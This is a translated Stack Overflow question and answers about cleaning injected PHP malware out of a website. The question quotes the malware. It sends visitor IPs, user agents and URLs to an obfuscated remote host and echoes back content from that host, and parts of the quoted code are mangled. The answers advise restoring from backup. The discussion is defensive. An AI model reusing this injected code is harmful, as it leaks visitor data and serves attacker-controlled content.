使用perl正则表达式删除恶意软件

时间:2011-10-28 12:28:55

标签: php regex

有没有办法从多个文件和目录中删除以下代码:

if (!isset($sRetry)) 
{
    global $sRetry;
    $sRetry = 1; // This code use for  lobal bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";

    if (strstr($sUserAgent, 'google') == false && 
        strstr($sUserAgent, 'yahoo') == false && 
        strstr($sUserAgent, 'baidu') == false && 
        strstr($sUserAgent, 'msn') == false && 
        strstr($sUserAgent, 'opera') == false && 
        strstr($sUserAgent, 'chrome') == false && 
        strstr($sUserAgent, 'bing') == false && 
        strstr($sUserAgent, 'safari') == false && 
        strstr($sUserAgent, 'bot') == false) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) && isset($_SERVER['HTTP_HOST'])) 
        { //  reate  bot analitics
            $stCurlLink = base64_decode('aHR0cDovL2NvbnFzdGF0LmNvbS9zdGF0L3N0YXQucGhw') . 
                '?ip=' . urlencode($_SERVER['REMOTE_ADDR']) . 
                '& seragent=' . urlencode($sUserAgent) . 
                '&domainname=' . urlencode($_SERVER['HTTP_HOST']) . 
                '& ullpath=' . urlencode($_SERVER['REQUEST_URI']) . 
                '& check=' . isset($_GET['look']);
            $stCurlHandle = curl_init($stCurlLink);
        }
    }

    if ($stCurlHandle !== NULL) 
    {
        curl_setopt($stCurlHandle, URLOPT_RETURNTRANSFER, 1);
        $sResult = @curl_exec($stCurlHandle);

        if $sResult[0] == "O") 
        {
            $sResult[0] = " ";
            echo $sResult; // Statistic code end

        }
        curl_close($stCurlHandle);
    }
}

2 个答案:

答案 0 :(得分:3)

不要这样做。永远不要试图修复攻击。如果你能得到这一切,你永远不可能100%确定。毕竟,你知道这种特殊注射。你怎么知道其他地方没有其他后门?

处理它的最佳方法是从备份恢复并修复漏洞。

没有备份?嗯,经验教训。现在去你的主人并问他们(他们应该有一个最近的,但如果他们为你滚动它是另一回事)。

如果他们也没有,那么你就会被迫尝试修复。但即使这样,我也会建议以自动方式执行此操作。相反,逐个文件,看看那里有什么。除非您手动进入每个文件并检查,否则您不知道存在多少版本的“漏洞利用”。所以我不会尝试建立一个正则表达式,我会手工完成,并建议你这样做。但仅作为备份的最后手段......

答案 1 :(得分:0)

是的,我想你是在Windows上(Unix用户会知道使用sed)。我会尝试一些可以做到这一点的免费软件:例如http://www.digitalvolcano.co.uk/content/textcrawler。或者更好的是,下载任何PHP IDE。所有人都可以批量查找和替换。